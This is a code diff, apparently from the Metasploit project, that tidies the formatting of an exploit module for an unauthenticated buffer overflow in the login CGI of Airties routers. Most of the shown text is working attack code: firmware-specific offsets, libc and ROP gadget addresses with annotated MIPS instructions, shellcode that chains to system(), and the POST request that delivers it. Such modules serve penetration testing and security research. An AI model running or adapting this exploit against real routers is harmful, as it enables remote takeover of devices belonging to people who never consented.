@@ -15,17 +15,17 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'Airties login-cgi Buffer Overflow' ,
17
17
'Description' => %q{
18
- This module exploits an remote buffer overflow vulnerability on several Airties routers.
19
- The vulnerability exists in the handling of HTTP queries to the login cgi with
20
- long redirect parameter values . The vulnerability can be exploitable without authentication.
21
- This module has been tested successfully on Airties firmware AirTies_Air5650v3TT_FW_1.0.2.0.bin
22
- in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453,
23
- Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
18
+ This module exploits a remote buffer overflow vulnerability on several Airties routers.
19
+ The vulnerability exists in the handling of HTTP queries to the login cgi with long
20
+ redirect parameters . The vulnerability doesn't require authentication. This module has
21
+ been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.
22
+ Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT ,
23
+ Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
24
24
} ,
25
25
'Author' =>
26
26
[
27
- 'Batuhan Burakcin <batuhan[at]bmicrosystems.com>' , # discovered the vulnerability
28
- 'Michael Messner <devnull[at]s3cur1ty.de>' , # Metasploit module
27
+ 'Batuhan Burakcin <batuhan[at]bmicrosystems.com>' , # discovered the vulnerability
28
+ 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
29
29
] ,
30
30
'License' => MSF_LICENSE ,
31
31
'Platform' => [ 'linux' ] ,
@@ -34,31 +34,32 @@ def initialize(info = {})
34
34
[
35
35
[ 'EDB' , '36577' ] ,
36
36
[ 'URL' , 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/' ] , #advisory
37
- [ 'URL' , 'http://www.bmicrosystems.com/exploits/airties5650tt.txt' ] , #PoC
37
+ [ 'URL' , 'http://www.bmicrosystems.com/exploits/airties5650tt.txt' ] #PoC
38
38
] ,
39
39
'Targets' =>
40
40
[
41
41
[ 'AirTies_Air5650v3TT_FW_1.0.2.0' ,
42
42
{
43
43
'Offset' => 359 ,
44
44
'LibcBase' => 0x2aad1000 ,
45
- 'RestoreReg' => 0x0003FE20 , # restore s-registers
46
- 'System' => 0x0003edff , # address of system-1
47
- 'CalcSystem' => 0x000111EC , # calculate the correct address of system
48
- 'CallSystem' => 0x00041C10 , # call our system
49
- 'PrepareSystem' => 0x000215b8 , # prepare $a0 for our system call
45
+ 'RestoreReg' => 0x0003FE20 , # restore s-registers
46
+ 'System' => 0x0003edff , # address of system-1
47
+ 'CalcSystem' => 0x000111EC , # calculate the correct address of system
48
+ 'CallSystem' => 0x00041C10 , # call our system
49
+ 'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call
50
50
}
51
51
]
52
52
] ,
53
53
'DisclosureDate' => 'Mar 31 2015' ,
54
54
'DefaultTarget' => 0 ) )
55
+
55
56
deregister_options ( 'CMDSTAGER::DECODER' , 'CMDSTAGER::FLAVOR' )
56
57
end
57
58
58
59
def check
59
60
begin
60
61
res = send_request_cgi ( {
61
- 'uri' => " /cgi-bin/login" ,
62
+ 'uri' => ' /cgi-bin/login' ,
62
63
'method' => 'GET'
63
64
} )
64
65
@@ -103,24 +104,24 @@ def prepare_shellcode(cmd)
103
104
# 0003FE48 addiu $sp, 0x48
104
105
105
106
shellcode << rand_text_alpha_upper ( 36 ) # padding
106
- shellcode << [ target [ 'LibcBase' ] + target [ 'System' ] ] . pack ( "N" ) # s0 - system address-1
107
+ shellcode << [ target [ 'LibcBase' ] + target [ 'System' ] ] . pack ( 'N' ) # s0 - system address-1
107
108
shellcode << rand_text_alpha_upper ( 16 ) # unused registers $s1 - $s4
108
- shellcode << [ target [ 'LibcBase' ] + target [ 'CallSystem' ] ] . pack ( "N" ) # $s5 - call system
109
+ shellcode << [ target [ 'LibcBase' ] + target [ 'CallSystem' ] ] . pack ( 'N' ) # $s5 - call system
109
110
110
111
# 00041C10 move $t9, $s0
111
112
# 00041C14 jalr $t9
112
113
# 00041C18 nop
113
114
114
115
shellcode << rand_text_alpha_upper ( 8 ) # unused registers $s6 - $s7
115
- shellcode << [ target [ 'LibcBase' ] + target [ 'PrepareSystem' ] ] . pack ( "N" ) # write sp to $a0 -> parameter for call to system
116
+ shellcode << [ target [ 'LibcBase' ] + target [ 'PrepareSystem' ] ] . pack ( 'N' ) # write sp to $a0 -> parameter for call to system
116
117
117
118
# 000215B8 addiu $a0, $sp, 0x20
118
119
# 000215BC lw $ra, 0x1C($sp)
119
120
# 000215C0 jr $ra
120
121
# 000215C4 addiu $sp, 0x20
121
122
122
123
shellcode << rand_text_alpha_upper ( 28 ) # padding
123
- shellcode << [ target [ 'LibcBase' ] + target [ 'CalcSystem' ] ] . pack ( "N" ) # add 1 to s0 (calculate system address)
124
+ shellcode << [ target [ 'LibcBase' ] + target [ 'CalcSystem' ] ] . pack ( 'N' ) # add 1 to s0 (calculate system address)
124
125
125
126
# 000111EC move $t9, $s5
126
127
# 000111F0 jalr $t9
@@ -134,7 +135,7 @@ def execute_command(cmd, opts)
134
135
begin
135
136
res = send_request_cgi ( {
136
137
'method' => 'POST' ,
137
- 'uri' => " /cgi-bin/login" ,
138
+ 'uri' => ' /cgi-bin/login' ,
138
139
'encode_params' => false ,
139
140
'vars_post' => {
140
141
'redirect' => shellcode ,
0 commit comments